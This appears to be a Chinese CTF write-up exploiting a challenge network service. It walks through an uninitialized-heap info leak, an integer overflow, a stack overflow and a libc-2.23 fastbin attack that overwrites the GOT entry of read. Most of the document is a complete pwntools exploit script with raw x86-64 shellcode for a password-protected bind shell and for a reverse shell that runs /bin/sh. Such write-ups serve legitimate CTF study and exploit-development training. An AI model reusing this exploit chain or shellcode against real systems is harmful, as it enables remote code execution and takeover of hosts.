首先是信息泄露,在复制数据时当剩下的数据长度比需要的小时就不会进行复制
__int64 __fastcall copy_by_size(handle_message *handle_message, char *buf, unsigned int size)
{
__int64 result; // rax@1
char *v4; // rdi@3
int v5; // eax@3
handle_message *v6; // [sp+Ch] [bp-18h]@1
unsigned int i; // [sp+20h] [bp-4h]@2
v6 = handle_message;
result = handle_message->size - size;
if ( handle_message->offset <= (unsigned int)result )
{
for ( i = 0; ; ++i )
{
result = i;
if ( i >= size )
break;
v4 = v6->content;
v5 = v6->offset;
v6->offset = v5 + 1;
buf[i] = v4[v5];
}
}
return result;
}
当反序列化类型为666子类型为1时,有一个整数溢出的漏洞,通过构造合适的大小,在malloc
后实际不进行复制,由于未初始化就可以泄露堆上的信息,例如堆地址等
type_666_1 *__fastcall unserialize_666_1(__int64 buf, int size_1)
{
handle_message *ptr; // [sp+18h] [bp-18h]@1
type_666_1 *v4; // [sp+20h] [bp-10h]@1
unsigned int size; // [sp+2Ch] [bp-4h]@2
v4 = malloc(0x20uLL);
ptr = new_handle_message(buf, size_1);
v4->type = get_dword(ptr);
v4->flag = get_dword(ptr);
v4->num1 = get_dword(ptr);
v4->num2 = get_dword(ptr);
v4->content2 = malloc((v4->num1 * v4->num2) >> 3);
copy_by_size(ptr, v4->content2, (v4->num1 * v4->num2) >> 3);
if ( v4->flag )
size = 4 * v4->num1 * v4->num2;
else
size = (v4->num1 * v4->num2) >> 3;
v4->content1 = malloc(size);
copy_by_size(ptr, v4->content1, size);
free(ptr);
return v4;
}
之后在游戏胜利后有一个明显的栈上的缓冲区溢出漏洞,可以覆盖free
时的参数的低2个字节。我是先free
出一个0x70
大小的fastbin,再覆盖free
时的参数的低2个字节free
出一个覆盖之前0x70
大小fastbin的overlapping unsorted bin来进行fastbin attack,这里还需要过_int_free
时的检查
然后再malloc
一个0x90
大小的堆块分配到之前的unsorted bin,覆盖0x70
大小fastbin的fd
为0x60505d
,libc-2.23
下这个位置刚好可以伪造一个0x0000007f
大小的fastbin
got
表上也可以找到0x00000060
,但在申请fastbin时有一个检查,由于在线程中用的是thread arena,线程中用0x60
大小在检测所属arena是否正确时会导致失败,0x7f
大小的堆块由于是mmapped的,也不属于main arena,因此可以过这个检查
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim)));
这时再malloc
两次0x60
大小的堆块就可以得到地址为0x60505d
的堆块
最后覆盖got
表上的read
地址为shellcode地址来执行shellcode
from pwn import *
import sys
import time
import struct
import socket
VERBOSE = 0
BIND = 1
context.arch = 'amd64'
if VERBOSE:
context.log_level = 'debug'
ip = '127.0.0.1'
port = 12000
if BIND:
listen_port = 8000
password = 'bird'
else:
local_ip = '127.0.0.1'
io = remote(ip, port)
def ip2int(addr):
return struct.unpack("!I", socket.inet_aton(addr))[0]
def send_type_7(content):
global io
io.send(p32(7))
io.send(p32(4+len(content)))
io.send(p32(len(content)) + content)
io.send(p32(0))
def send_type_6(ch):
global io
io.send(p32(6))
io.send(p32(1))
io.send(ch)
io.send(p32(0))
def send_type_666_1(id2, num0, flag, num1, num2):
global io
io.send(p32(666))
io.send(p32(4*6))
io.send(p32(id2) + p32(16) + p32(num0) + p32(flag) + p32(num1) + p32(num2))
io.send(p32(0))
send_type_6(' ')
send_type_7('A' * 0x100)
send_type_7('A' * 0x100)
send_type_666_1(0, 0, 0, 6, 8)
io.recvuntil('\x06\x00\x00\x00\x08\x00\x00\x00')
leak_heap_addr = u64(io.recvn(6) + '\x00\x00')
heap_base = leak_heap_addr - 0xa8
log.info("leak_heap_addr:%#x" % leak_heap_addr)
log.info("heap_base:%#x" % heap_base)
io.close()
io = remote(ip, port)
send_type_7('A' * 0x808 + '\x40\x1a\x00')
send_type_6(' ')
io.send(p32(666))
payload = p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(3) + p32(2) + p32(0x37) + p32(0) + p32(0xa5) + p32(0) + p32(0xa5) + p32(0x00) + p32(0x95) + p32(0)
payload = p32(0) + p32(len(payload)) + payload
io.send(p32(len(payload)))
io.send(payload)
io.send(p32(0))
send_type_6(' ')
time.sleep(1)
io.send(p32(1))
payload = '\x00' * 0x40 + p64(0) + p64(0x75) + p64(0x60505d)
payload = payload.ljust(0x90, '\x00')
io.send(p32(len(payload)))
io.send(payload)
io.send(p32(0))
time.sleep(1)
io.send(p32(1))
if BIND:
# 96 bytes
shellcode = "\x31\xf6\xf7\xe6\xff\xc6\x6a\x02\x5f\x04\x29\x0f\x05\x50\x5f\x52\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02" + p16(listen_port, endian='big') + "\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x5e\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x50\x5f\x54\x5e\x31\xc0\x0f\x05\x81\x3c\x24" + password + "\x75\x1f\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x56\x5a\x56\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05"
else:
# 84 bytes
l = listen(bindaddr=local_ip)
shellcode = "\x68" + p32(ip2int(local_ip), endian='big') + "\x66\x68" + p16(l.lport, endian='big') + "\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05"
shellcode = shellcode.ljust(0x60, '\x90')
io.send(p32(len(shellcode)))
io.send(shellcode)
io.send(p32(0))
time.sleep(1)
io.send(p32(1))
payload = '\x00' * 3 + p64(heap_base + 0x1a90)
io.send(p32(0x60))
io.send(payload)
time.sleep(1)
if BIND:
io = remote(ip, listen_port)
io.send(password)
io.interactive()
else:
_ = l.wait_for_connection()
l.interactive()